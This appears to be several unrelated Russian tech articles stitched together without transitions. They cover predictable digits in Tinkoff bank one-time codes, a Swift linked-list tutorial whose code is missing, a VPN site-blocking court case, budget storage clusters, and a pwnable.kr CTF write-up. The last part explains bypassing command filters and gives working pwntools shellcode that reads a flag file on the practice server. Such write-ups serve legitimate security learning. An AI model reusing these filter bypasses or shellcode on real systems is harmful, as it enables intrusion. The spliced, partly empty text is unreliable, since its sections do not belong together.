Совершая очередную транзакцию в моем любимом банке Тинькофф, получил уже привычное сообщение:

Никому не говорите код: 3131! Перевод с карты ****. Сумма ***.00 RUB

Если будут спрашивать — я вам его не говорил.

И снова взгляд зацепился за интересное совпадение цифр в «случайном» одноразовом коде (вспомнился Нео с чёрной кошкой). В итоге решил поднять всю историю сообщений, чтобы посмотреть, насколько случаен «случайный» одноразовый код и чем это может грозить.

В телефоне нашлось всего 234 таких сообщения за прошедший год. Все эти операции можно разделить на 2 типа: неслучайный код (190 штук) и случайный (42 штуки).

В категорию неслучайного кода относятся все операции покупки в интернете, операции перевода между своими картами. А на операции оплаты через мобильный банк, установку пин кода, вход в интернет банк, переводы третьим лицам приходят случайные коды.

Итак, были выбраны все неслучайные коды и отсортированы по возрастанию:

0200 0207 0207 0208 0301 0307 0308 0401 0602 0706 0802 0808 0809 0900 0901 0903 0905 1119 1315 1515 1516 1516 1610 1614 1712 1715 1715 1715 1812 1812 1818 1918 2121 2125 2128 2220 2226 2228 2321 2325 2325 2423 2429 2528 2621 2721 2723 2727 2826 2827 2926 2927 3131 3131 3134 3231 3234 3237 3335 3432 3437 3637 3734 3736 3831 3832 3930 3932 3937 3939 4140 4143 4149 4240 4243 4442 4443 4448 4546 4640 4640 4641 4641 4842 4843 4844 4941 4946 4948 5153 5154 5158 5250 5250 5350 5354 5355 5454 5455 5550 5556 5557 5557 5558 5559 5653 5653 5659 5755 5755 5852 5950 5954 5956 5957 5959 6160 6162 6168 6261 6267 6366 6368 6369 6567 6761 6861 6863 6867 6960 7273 7370 7379 7473 7473 7570 7578 7670 7673 7679 7771 7772 7773 7773 7778 7877 7971 8189 8388 8480 8581 8581 8583 8586 8587 8587 8688 8782 8785 8886 8887 8981 8982 8983 8984 9192 9193 9195 9197 9199 9394 9395 9492 9493 9496 9499 9595 9596 9693 9793 9794 9890 9895 9897 9897 9899 9899 9990 9993 9995

Как видно невооруженным глазом случайность этих кодов вызывает сомнения. В каждом коде 1 и 3 цифры совпадают, причем для выборки из 190 штук мы имеем 19 дублей кодов.
Посчитаем вероятность получения двух одинаковых чисел на первой и третьей позиции:

P = 0,1 * 0,1 * 10 = 0,1

Не так уж и невероятно получить код с одинаковыми цифрами в первой и третьей позиции, хотя интуитивно я считал, что это более редкое событие.

Но вернемся к выборке. Какова вероятность получить 190 кодов подряд, в которых первая и третья цифры совпадают при равномерном распределении?

P = 0,1190

Таким образом четырехзначный код превращается в трехзначный.

Возможно в сообществе найдутся знатоки теории вероятности и смогут вытащить из этих данных больше информации, буду рад почитать в комментариях.

P.S. Возможно такая ситуация наблюдается только у меня и связана с алгоритмом генерации кодов на основании данных клиента, например. Прошу сообщество посмотреть, имеет ли данная проблема массовый характер.

UPD.: вторая цифра всегда больше 0. Таким образом остается 900 комбинаций

Предисловие

Кто из iOS разработчиков не мечтал о работе в престижном месте вроде Yandex или Avito. К сожалению, про мечты на собеседованиях спрашивает только hr, а вот интервьюеры из числа разработчиков задают вопросы немного другого характера. Чем отличается reference type от value type или bounds от frame? Вопросы, который каждый из нас слышал не раз на собеседованиях. Если ваше интервью начинается с вопроса про отличия значимого и ссылочного типов или в духе “расскажите ка нам про SOLID”, то вы явно на пути трудоустройства в ООО “Так себе перспективы“.

В приличной компании у вас такую ерунду не спросят. Готовьтесь к вопросам про диспетчеризацию, side table и underlying queue. Знания подобных нюансов никоем образом не помогут добиться 60 FPS при скролле, нагруженных элементами ячеек и не сделают вас почетным девелопером России. Они помогут распознать в вас человека, который не просто 4 года менял констрейнты в xib-ах и теперь считает себя Senior iOS Developer, а действительно интересуется платформой. Для меня всегда останется загадкой, в какой момент человек решает, что он достиг уровня Middle или Senior. Наверное участвует в общероссийских соревнованиях, на которых РОС-ГОС-iOS присуждает разряды и звания за выполнение нормативов и призовые места.

Вернемся к собеседованиям. Мало того, что престижный работодатель обязательно задаст заковыристые вопросы по платформе, так еще обязательно спросит про архитектуру. Ждите вопроса: “Почему на прошлом месте вы использовали именно VIPER, а не MVVM?“. Могут поинтересоваться: “Чем плох MVC?“. Ну и последним гвоздем в крышку гроба будут алгоритмы. Даже если вы блестяще разбираетесь в iOS и архитектуре мобильных приложений, но не знаете слабые стороны массивов и не можете оптимизировать поиск элемента, то после собеседования ждите на почту ответ:

На просторах русскоязычного интернета полным-полно статей про алгоритмы и структуры данных. Единственный недостаток, который может омрачить изучение — скудность примеров и реализаций на Swift. Достаточно сложно разбираться в этой теме, когда тебе подсовывают много непонятных слов и еще больше непонятных примеров на C++.

Для всех, кто хочет каждый день пить смузи в шикарных офисах и на встречах выпускников рассказывать как он один тащит на себе всю мобильную разработку Сбера, я подготовил пару статей по структурам данных. Статьи рассчитаны на разработчиков, которые уже знакомы с дженериками, работали с массивами/множествами/словарями, разбираются в отличиях классов от структур и делают вид, что понимают рекурсию. Я не буду расписывать теорию. Это уже сделано до меня и уверен, что достаточно информативно. Сосредоточимся на примерах.

Связаный список

С теорией поможет википедия. Начнем с создания того самого узла.

_{*обязательно смените свою цветовую схему Xcode на темную иначе не видать вам работы в Mail}

Внимательный читатель должен задаться вопросом: «Почему мамкин девелопер решил реализовать узел как класс, а не структуру? Статья же про структуры данных!». Обсудить это решение предлагаю в комментариях. Перейдем к самому связанному списку. Начальная реализация будет выглядеть так:

Каждый уважающий себя эксперт-зануда отметит, что WeakReference какой-то неведомый тип и справедливо потребует реализацию.

Добавим в реализацию методы, отвечающие за наполнение нашего списка:

Добавим методы, отвечающие за удаление из списка:

_{*@discardableResult избавит нас от необходимости писать «_ = » перед вызовом функции, когда возвращаемое значение нам не интересно}

Наша поделка уже выглядит как рабочий связаный список. Попробуем сделать ее максимально Swift-ориентированной. Для этого нам осталось реализовать всего две вещи: BidirectionalCollection протокол и copy-on-write технику. Начнем с протокола. Методов в нем совсем мало и самое сложное это понять и реализовать Index.

Замечательно! Теперь нашему списку доступны все плюшки коллекций. Можем применить к нему map, compactMap, filter, contains и тд. Настала очередь copy-on-write. Реализуем метод copyIfNeeded() из-за отсутствия которого у вас сейчас компилятор намекает на то, что код писал не Д’Артаньян:

Желающих задать умный вопрос или указать на недочеты жду в комментариях.

Код на GitHub

Несколько недель назад на Хабре публиковали новость о том, что VPN-сервису HideMy.name удалось в судебном порядке вывести свой сайт из-под блокировки. Это далось непросто. Ранее также публиковалось развернутое интервью с руководителем компании Maркусом Сааром, в котором он рассказывал о причинах первых блокировок и мотивах прокураторы.

В новой статье мы объединили разрозненные материалы, составив хронологию событий, добавили комментарии участников из HideMy.name и Роскомсвободы, которая помогала бороться с блокировками. А еще добавили новые факты о блокировках, интересные кейсы, имеющие отношение к текущей ситуации и прогнозы на будущее.

Когда появился сервис и что случилось с его сайтом?

Хронология составлена по информации СЕО HideMy.name:

2006
Активная разработка. Появляются первые пользователи еще до официального релиза, узнавая о бета-версии через сарафанное радио.

2007
Запуск на домене hideme.ru 4 января 2007 года. Изначально проект развивался как полностью бесплатный анонимайзер/прокси-сервис, успев стать популярным за короткое время практически без вложений в рекламу.

Чуть позже экспериментально добавили VPN. Уже тогда команда сервиса видела в этой технологии будущее. Тем не менее, самим по себе VPN почти не интересовались: поисковых запросов мало, обсуждения в интернете — только на узкоспециализированных форумах. Обычным пользователям приходилось объяснять инфографикой, чем VPN лучше анонимайзеров и прокси.

Пользователи привыкали к новой услуге, начинали ей пользоваться всё чаще. Несмотря на то, что настройка была совсем не дружелюбной: собственного софта не было, конфиги требовалось скачивать и переносить в папку opensource-клиента OpenVPN. И еще много разных ручных манипуляций.

2012
5 лет сайт и сервисы просто работали. В 2012 году появился реестр запрещенных сайтов, и запрос на VPN стал заметно расти с каждым днём. Появились пользователи, которых уже нельзя причислить к гикам. Потребовалось кросс-платформенное приложение для подключения в пару кликов.

2016
Приняли «Закон Яровой», пользователей стало еще больше. Кроме России, цензура и глубокая фильтрация активно внедряется в Китае, арабские страны отключают социальные сети и мессенджеры.

2017
Первая блокировка сайта на домене hideme.ru в январе 2017-го. Роскомнадзор до блокировки пытается договориться о фильтрации сайтов в VPN, на что получает отказ. И даже удалённая форма анонимайзер не спасает от блокировки сайта.

Ранее запланированный ренейминг в HideMy.name пришлось ускорить и в срочном порядке переехать на новый домен.

Через четыре месяца домен hideme.ru разблокировали после жалоб в вышестоящие органы на превышение Роскомнадзором полномочий.

2018
Вторая блокировка сайта Роскомнадзором, уже на домене hidemy.name, июль 2018-го. Причиной становится снова «анонимайзер», который к тому моменту уже отсутствовал на сайте.

Никакого объяснения получить не удаётся. Письмо с предупреждением о необходимости «устранить нарушение», которого нет. Блокировка через три дня.

Неоднократные попытки снять блокировку через обращения на сайте ведомства приводят лишь к шаблонным отпискам. Суд.

2019
Незаконное судебное решения о блокировке отменяют. Прокуратура на пересмотре дела просто отказывается от своего иска. Дело закрывают.

В чём особенность второй блокировки?

Во второй раз суд заблокировал сайт при полном отсутствии на нём описанных в судебном решении событий. А именно формы анонимайзера и возможности через эту форму получить «доступ к книге „Майн Кампф“».

Как указано в судебном решении, прокурор смог с помощью анонимайзера найти и прочитать книгу «Майн кампф», которая входит в список экстремистских.

«По-сути, все решение суда строится на одном лишь абсурдном доводе прокуратуры — если с помощью сервиса можно получить доступ к запрещенному в России «Майн кампфу», то и сам сервис является незаконным. С такой логикой, конечно, можно было бы заблокировать все поисковики в России, множество социальных сетей да и вообще весь интернет в России без всяких там законов о суверенном интернете. Но удручает даже не это. Глупо требовать от обычного судьи из глубинки и деревенского прокурора специфических знаний в части работы сетевых технологий. Суд, вынесший решение, и прокурор не просто натянули материальное право на весьма сомнительную фабулу, но и полностью проигнорировали положения процессуального закона, который требует привлечения к процессу всех лиц, чьи права и законные интересы могут быть нарушены принятым судебным актом. Очевидно, владелец сайта относится к таким лицам и в обязательном порядке должен привлекаться к процессу», — прокомментировал ситуацию Саркис Дарбинян, ведущий юрист Роскомсвободы.

Вот скриншот сайта, сделанный прокурором. Скриншот был добавлен к материалам дела как единственное доказательство нарушения.

Посмотрев на этот скрин, где есть описание термина «анонимайзер», но нет самой формы анонимайзера, суд принял доводы прокурора, что на сайте есть запрещенная информация. Возможно, котик с бородой показался опасным.

Обратите внимание на вкладки панели задач, вероятно, случайно попавшие на скриншот прокурора: «экстремизм», «иск по анонимайзерам», Paint.

Еще один интересный момент — снимок двух важных документов по домену. На первое заседание, где должны были рассматривать восстановление срока обжалования, прокурор принёс WHOIS-выписку о домене третьего уровня hidemy.name.ru, который никак не относится к сервису и даже не зарегистрирован. Почему .ru, если VPN-сервису принадлежит домен второго уровня hidemy.name?

Допустим, ошиблись, бывает. Но Килемарский суд принял эту справку как убедительное доказательство того, что домен hidemy.name не принадлежал компании на момент судебного решения. Исходя из этого, отказал VPN-сервису восстановить срок обжалования и стать ответчиками по делу.

Добиться правосудного решения удалось только в республиканском суде, где прокурор признал свою ошибку со справкой. Владельцев VPN-сервиса признали полноправными ответчиками, а незаконное решение суда Килемарского района было отменено с направлением на пересмотр.

Комментируя эту ситуацию, Саркис Дарбинян заявил, что с анонимайзерами и другими инструментами обхода блокировок обычно борются «местечковые прокуроры, которые подают иски в защиту неопределенного круга лиц в районные суды по месту своего нахождения». Часто прокуратура и суд находятся в одном здании, так что прокурор просто спускается на этаж, отдает документы в суд, проводится очень быстрый судебный процесс, судья принимает решение о признании информации незаконной. После этого наступает очередь Роскомнадзора и черного списка.

Как удалось разблокировать сайт?

Совместно с юристами Роскомсвободы представители HideMy.name подготовили апелляционную жалобу. 11 января 2019 года с этой жалобой команда обратилась в Медведевский районный суд Республики Марий Эл.

^{Медведевский районный суд Республики Марий Эл. Источник: medvedevsky.mari.sudrf.ru}

В жалобе приводились такие аргументы:

а) владелец сайта не был привлечён к участию в судебном деле, решение по которому затрагивает его права и законные интересы. Следовательно, дело было рассмотрено с грубыми нарушениями норм процессуального права в ненадлежащем судебном порядке;

б) решения, являющиеся основаниями для ограничения доступа к сайтам в сети «Интернет», содержащим информацию, распространение которой в РФ запрещено, принимаются судами общей юрисдикции в порядке административного судопроизводства в рамках осуществления обязательного судебного контроля за соблюдением прав и свобод человека и гражданина, прав организаций при реализации отдельных административных властных требований к физическим лицам и организациям (ч. 3 ст. 1 КАС РФ), то есть заявление прокурора Килемарского района Республики Марий Эл надлежало рассматривать в ином судебном порядке.

В итоге 23 мая Верховный суд Марий Эл отменил решение нижестоящей инстанции, направив дело на новое рассмотрение. 11 июня hidemy.name удалили из реестра заблокированных в РФ ресурсов.

На этом все?

Нет. Суд отправил дело на повторное рассмотрение, а прокуратура подала повторно тот же иск. Поводом для пересмотра дела во второй раз стал акт осмотра сайта HideMy.name, датированный 2017 годом. На основании этого же документа выносили предыдущее решение о блокировке сайта.

5 июля в Йошкар-Олинском суде провели новое рассмотрение дела, после чего иск прокуратуры к организаторам ресурса был отозван.

«После появления в деле нас, как ответчиков, прокуратура полностью потеряла интерес. И даже не потрудилась составить новый иск: отправила повторно старый от 2017 года. Конечно, никакой доказательной базы в этом иске не было, кроме одного единственного скриншота главной страницы сайта. На котором, впрочем, не было отображено никаких нарушений. Окончательное закрытие этого дела было лишь вопросом времени», — заявил после победы в суде Маркус Саар, руководитель HideMy.name.

Дальше будет лучше?

Практически все прогнозы приходят к тому, что нет. По мнению Саркиса Дарбиняна, в будущем никакой прозрачности в вопросах блокирования сайтов уже не будет.

После того, как вступит в силу так называемый «Закон о суверенном интернете», Роскомнадзор сможет из единого центра, при помощи специализированных DPI-инструментов блокировать любую информацию, сайт или приложение самостоятельно. Оборудование, о котором идет речь, планируется установить на узлы всех операторов связи. И тогда даже сам оператор не сможет узнать, что и как блокирует Роскомнадзор до наступления самой блокировки.

Что же делать?

Пользователей сети и дальше могут использовать инструменты для получения доступа к закрытым ресурсам.

Сложнее положение у владельцев онлайн-бизнеса. Маркус Саар предлагает им следовать следующим советам, чтобы потом не было мучительно больно:

• Не держать домены в российских зонах.
• Регулярно проверять наличие судебных дел по вашим сайтам. Например, на sudact.ru и судебныерешения.рф. Это даст вам дополнительное время для опротестования незаконного решения прежде, чем оно будет исполнено Роскомнадзором.
• Иметь заготовленный алгоритм действий на случай блокировки: зеркала, редиректы, проксирующие CDN для смены IP-адресов веб-сайта и др., исходя из специфики именно вашего ресурса.
• Верифицировать аккаунты в панелях вебмастера Google/Yandex для ускоренной смены домена в поисковой выдаче, если потребуется переехать на зеркало.
• Подготовить инструменты оповещения клиентов.
• Подписать договор с профильными юристами.
• Узнать, может ли ваш регистратор предоставить оригинал справки с синей печатью о владении доменом. Распечатки whois для российского суда не подходят.
• По возможности, ориентироваться в работе на зарубежные рынки.

Минутка заботы от НЛО

Этот материал мог вызвать противоречивые чувства, поэтому перед написанием комментария освежите в памяти кое-что важное:

Как написать комментарий и выжить

• Не пишите оскорбительных комментариев, не переходите на личности.
• Воздержитесь от нецензурной лексики и токсичного поведения (даже в завуалированной форме).
• Для сообщения о комментариях, нарушающих правила сайта, используйте кнопку «Пожаловаться» (если доступна) или форму обратной связи.

Что делать, если: минусуют карму | заблокировали аккаунт

→ Кодекс авторов Хабра и хабраэтикет
→ Полная версия правил сайта

Иногда возникает необходимость в организации отказоустойчивого хранилища СХД маленького объема до 20Тб, но с функционалом Enterprise — All-Flash, SSD кэш, MPIO,HA(Activ-Activ) и всё это с бюджетной ценой. Готовые аппаратные решения с данными функциями начинаются от сотен терабайт и цены из 8 и более знаков в рублях. Имея маленький бюджет 6-7 знаков в р. и необходимость в маленьком и быстром (но надежном) хранилище, с 2009 года были опробованы и переведены в промышленную эксплуатацию два варианта СХД (Общее у этих систем это, высоконадёжные системы без единой точки отказа +можно потрогать руками до покупки или «обойтись без неё»(FREE)).

Кому интересен данный опыт, далее будет описано следующее:

1. Опыт эксплуатации ПО StarWind Virtual SAN (VSAN).
2. Как сделать маленькое Enterprise СХД.
3. История разгона IOPS(практика).
4. Шпаргалка по развертыванию и эксплуатации СХД EMC ScaleIO (VxFlexOS) (при отсутствии технической поддержки силами специалистов «НЕ Linux-guru») 1 часть.

1. Опыт эксплуатации ПО StarWind Virtual SAN (VSAN)

StarWind Virtual SAN (VSAN) – в решении Activ- Activ (синхронная репликация на 3-х серверах), в эксплуатации с 2009 -2016 год в разных редакциях(Starwind ISCSI SAN HA-3) на основании серверов с аппаратными RAID массивами.

Плюсы:

• Легко и быстро, устанавливается даже не профессионалом;
• MPIO по ISCSI Ethernet;
• HA (Activ-Activ);
• На новых (гарантийных) серверах (с новыми дисками) можно на несколько лет забыть об обслуживании СХД (пользователи не заметят даже выход из строя двух серверов из трех);
• RAM и SSD кэш томов;
• Быстрая Fast-синхронизация при мелких сбоях в сети.

Минусы:

• Ранее существовала только версия под Windows платформу;
• При длительной эксплуатации (более 3 лет) – трудно найти диск взамен вышедшего из строя (сняты с производства) для ремонта RAID массива (при разнородных дисках возможны сбои в массиве);
• Увеличение количества сетевых интерфейсов и занимаемых под них слотов PCI(дополнительно для синхронизации -сетевые карты, коммутаторы) ;
• При использовании LSFS- «журналируемой файловой системы», длительное выключение системы, которое может быть пагубно при срабатывании UPS при отключении питания;
• Очень длительное время полной синхронизации при большом томе.

Возможно уже вылеченные проблемы(ранее случившиеся при эксплуатации в нашем ЦОД):

• При развале RAID массива – сервер остается виден по каналу синхронизации и данных, но диск в Windows сервере вне сети, раздувается лог Starwind и пожирается память сервера, как следствие зависание сервера. Возможное лечение назначение контрольного файла и убирание из настроек логов не критичных сообщений.
• При выходе из строя коммутатора или сетевых интерфейсов – неоднозначный выбор ведущего сервера (иногда случалось- система не могла понять с кого синхронизировать).

Полезные новости(ещё не опробованные):
StarWind Virtual SAN for vSphere (гиперконвергентное решение), позволяет встраивать в кластер виртуализации Vmware без привязки к Windows серверам(на базе линукс виртуальных машин).

Резюме: Отказоустойчивое решение, при наличии нормальной программы замены аппаратных серверов по окончании гарантии и наличии технической поддержки StarWindSoftWare.

2. Как сделать маленькое Enterprise СХД

Постановка задачи:

Создать отказоустойчивую сеть хранения данных небольшого объема итого 4 TB-20TB, с гарантированным функционированием в среднесрочной перспективе без значительных дополнительных финансовых затрат.

• Cистема должна быть отказоустойчивой (спокойно переносить выход из строя, как минимум одного коммутатора, одного сервера, дисков и сетевых карт в сервере).
• По максимуму использовать все ресурсы имеющегося аппаратного парка серверов (3-10 летних серверов и коммутаторов).
• Обеспечивать функционирование томов разных уровней: All-Flash и HDD +SSD cache.

Исходные данные:

• ограниченный бюджет;
• оборудование поколения 3-10 летней давности;
• специалисты — «Не Linux- Guru».

Расчет характеристик

Чтобы избежать узкие мест в части производительности при использовании SSD дисков, которая будет срезаться, чем то из цепочки оборудования: сетевые карты ,RAID (HBA) контроллер, экспандер (корзина), диски.

Необходимо на момент создания предусмотреть исходя их требуемых характеристик определенную конфигурацию оборудования.

Можно конечно запустить на 1Gb/s сетях и 3G контроллерах конфигурация с SSD кешированием SAS HDD, но результат будет в 3-7 раз хуже, чем на 6Gb RAID и 10Gb/s сетях (проверено тестами).
В инструкции по тюнингу VxFlexOS описана простая инструкция по расчету необходимой пропускной способности, исходя из оценки SSD -450 МБ/C и HDD -100 МБ/C, при последовательной записи (на пример при ребалансе и ребильде серверов хранения).

Например:

• (SSD кэш + 3 HDD), получаем ((450*1)+(3*100))*8/1000= 6Гб
• (ALL FLASH SSD) + (SSD кэш + 3 HDD) ((450*2)+(3*100))*8/1000= 9,6Гб

Для определения пропускной способности сети по IOPS (штатная нагрузка на серверах баз данных и нагруженных виртуальных серверах), есть ориентировочная таблица от StariWindSoftware

Итоговая конфигурация:

• ПО СХД, которое может не объединять диски в RAID-массивы, а передавать их СХД в виде отдельных дисков (чтоб не было проблем с заменой через определенный период дисков при выходе их из строя, а просто подбирать их по емкости);
• Сервера Поколения процессоров e55xx- x56xx и выше, шинами pci-express v 2.0 и выше, Raid (HBA) контроллерами 6G -12Gс памятью, корзинами экспандерами на 6-16 дисков;
• Коммутаторы SMB 10G Layer 2 (JUMBO FRAME, LACP).

Способ решения

На данный момент не найдено бюджетных вариантов «Аппаратных Enterprise СХД» маленького объема, с указанными выше требованиями.

Остановились на программных решениях, позволяющих пользоваться преимуществами Enterprise СХД, при варианте использования существующих серверов, которые при этом варианте имеют право умереть от старости без ущерба СХД.

• Сeph — не хватает Linux специалистов;
• EMC ScaleIO — за пару лет технической поддержки — можно обойтись существующими кадрами.
• (как оказалось, познания в Linux можно иметь минимальные, об это дальше в шпаргалке).

3. История разгона IOPS (бюджетная практика)

Для ускорение операций чтения, записи в систем хранения применялись SSD устройства:

3.1. Контролеры с функциями SSD кэширования.

В 2010 году появились RAID контролеры с функциями SSD кэширования Adaptec 5445 с MaxIQ диском(для ощутимого результата нужно было иметь хотя бы 10% MaxIQ диска от объема кэшируемого тома), результат есть но незначительный *проверено на себе;
Позже появились контролеры которые могут использовать произвольный SSD диск для кэширования, как у Adaptec серия Q, так и LSI CacheCade ( но там лицензирование отдельно);

3.2. Программное кэширование с использование дисков, типа Intel DC S3700, которые видит контроллер и экспандер брендовых серверов HP, IBM, FUJI ( большинство серверов их удачно опознает, для All-Flash дороговато, а вот для 10% на SSD cache — терпимо не выпуски их под партномерами IBM, HP, FUJI, а просто Intel). *Но сейчас есть более дешевые совместимые варианты(см.п. 3.5.);

3.3. Программное кэширование с использование адаптера PCIe- M.2, SSD Synology M.2 M2D18 , проверено, работает и в обычных серверах( не только в Synology), полезно когда RAID контроллер и корзина отказывается видеть SSD, которые не указал производитель в совместимых (н.п. HP D2700)? *;

3.4. Гибридные диски Seagate EXOS, н.п. 600Gb Seagate Exos 10E2400 (ST600MM0099) {SAS 12Gb/s, 10000rpm, 256Mb, 2.5″}, * проверено опознается серверами HP,IBM, FUJI (альтернатива вариантам 3.1.-3.3.);

3.5. Диски SSD c большим ресурсом и сопоставимой ценой с SAS корпоративного класса,
Crucial Micron 5200 MAX MTFDDAK480TDN-1AT1ZABYY, *проверено опознается серверами HP,IBM, FUJI
(альтернатива вариантам замены HDD дисков на совместимые по п.3.4 и совместимые со старыми серверами SAS диски: Жесткий диск SAS2.5″ 600GB AL14SEB060N TOSHIBA*,
C10K1800 0B31229 HGST, ST600MM0099 SEAGATE ). Позволяет бюджетно перейти от HDD+SSD, к All-Flash томам.;

4. Шпаргалка по развертыванию и эксплуатации СХД EMC ScaleIO (VxFlexOS) 1часть

СХД EMC ScaleIO (VxFlexOS)

После тестирования решения до покупки, пришел к выводу, что для нормального функционирования системы необходимо более 3-х нод (при 3 нестабильно отработка отказа), для примера возьмет конфигурацию из 8 серверов (переживет без потери томов последовательный отказ 4 серверов).

Аппаратная часть:

FUJI CX2550M1 (E5-2xxx)– 3 шт. (основной кластер виртуализации серверов VmWare VSphere + ScaleIO клиент SDC и сервер SDS);
+5 серверов поколения HP G6(G7) или IBM M3 (e55xx-x56xx) — сервера ScaleIO SDS;
+ 2 коммутатора NetGear XS712T-100NES

На работающем СХД в режиме RFCache, удалось при помощи Iometer разогнать до 44KIops

Конфигурация СХД:

12TB сырой емкости(минимальная лицензия на момент когда еще продавалась как софт)

8 серверов SDS 28 дисков

Read RAM cache 14 Gb

Read Flash cashe 1,27 TB (RFCashe)

В промежуточном варианте, где только 3 серверах 2х10Gb имеют сетевые карты, в остальных 2 х1Gb.

Наглядно видно, что даже при SSD кэшировании при 1Gb вместо 10Gb, идет потеря пропускной способности SDS в три раза и более, при идентичных носителях.

Без кеширования, если считать по данным «нормативам» то при 28 дисках HDD,
получим 28Х140=3920 IOPS, т.е. чтобы получить результат в 44000 IOPS нужно было бы в 11 раз больше дисков. Экономически выгодней при малых потребностях в объемах, не увеличивать количество дисков а, SSD кэш.

На вопрос, зачем такие скорости при маленьком объеме, отвечу сразу!

Есть такие маленькие организации(как наша), в которых есть большое количество электронных документов, которые в программном комплексе обрабатываются долго (контроли каждого реестр на отправку ПП до 1 часа, даже на этом разогнанном СХД). Все остальные варианты уже применены ранее (увеличение на РМ -ОЗУ, CPU i5, SSD, 1Gb- NET). Даже применение на СХД только связки SSD+SAS (пока без ALL-Flash) позволило использовать большую часть ресурсов серверов виртуализации, перенос нагруженных ВМ на ScaleIO — увеличил загрузку процессоров FUJI CX400M1 в два раза (ранее сдерживало хранилище).

В данной статье посмотрим как обойти легкий фильтр, разберемся как написать shell c помощью pwntools, а также решим несколько заданий с сайта pwnable.kr.

Решение задания cmd1

Нажимаем на иконку с подписью cmd1, и нам говорят, что нужно подключиться по SSH с паролем guest.

При подключении мы видим соответствующий баннер.

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

Давай просмотрим исход код.

Все очень просто: мы передаем программе команду и она исполняет её в командной строке, но сперва фильтрует слова flag, sh, tmр. Фильтрует flag, но не fla*.

Сдаем флаг и получаем еще одно очко.

Решение задания cmd2

Нажимаем на иконку с подписью cmd2, и нам говорят, что нужно подключиться по SSH с паролем guest.

При подключении мы видим соответствующий баннер.

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

Давай просмотрим исход код.

Похоже на cmd1, но более сложный фильтр. Опять фильтрует flag, но не фильтрует fla*. Все осложнено фильтрацией слеша, но мы можем выполнить /bin/cat, как command -р cat.

Сдаем флаг и получаем очки.

Решение задания blukat

Нажимаем на иконку с подписью blukat, и нам говорят, что нужно подключиться по SSH с паролем guest.

При подключении мы видим соответствующий баннер.

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

Давай просмотрим исход код.

Так, тут открывается файл с паролем, ксорится с ключем и выводит флаг. Вот только файл с паролем если прочитать файл с паролем, он выводит нам текст ошибки. На самом деле ошибка и есть пароль… Так как файл доступен для чтения группе, а мы состоим в данной группе.

Сдаем флаг и получаем три очка.

Решение задания asm

Нажимаем на иконку с подписью asm, и нам говорят, что нужно подключиться по SSH с паролем guest.

При подключении мы видим соответствующий баннер.

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

Нам оставили readme, прочитаем его.

Таким образом мы должны отправить шеллкод, который прочитает файл с флагом, на порт 9026.

Отлично. Испольуем рwntools, определяем параметры для подключения и архитектуру.

from pwn import *  r = remote('pwnable.kr', 9026)  context.arch = 'amd64'  r.interactive()

Для составления шелла будем испольовать модуль shellcraft. Как будет работать шеллкод:

1. Помещаем в стек строку — имя файла.
2. Открываем файл, с именем с вершины стека (регистр rsp).
3. Так как функция open вернет дескриптор открытого файла в регистре rax — первый параметр для чтения, будем читать в стек 64 байта, потому вторым параметром будет регистр rsp.
4. Теперь пишем в стандартный вывод (дескриптор 1) флаг, который лежит на вершине стека (регистр rsp).
5. Собираем наш шелл и отправляем.

from pwn import *  r = remote('pwnable.kr', 9026)  context.arch = 'amd64'  payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64)  shell = asm(payload)  r.send(shell)  r.interactive()

Сдаем флаг и получаем 6 очков. До встречи в следующей статье, где рассмотрим сложную уязвимость Use After Free.

Мы в телеграм канале: канал в Telegram.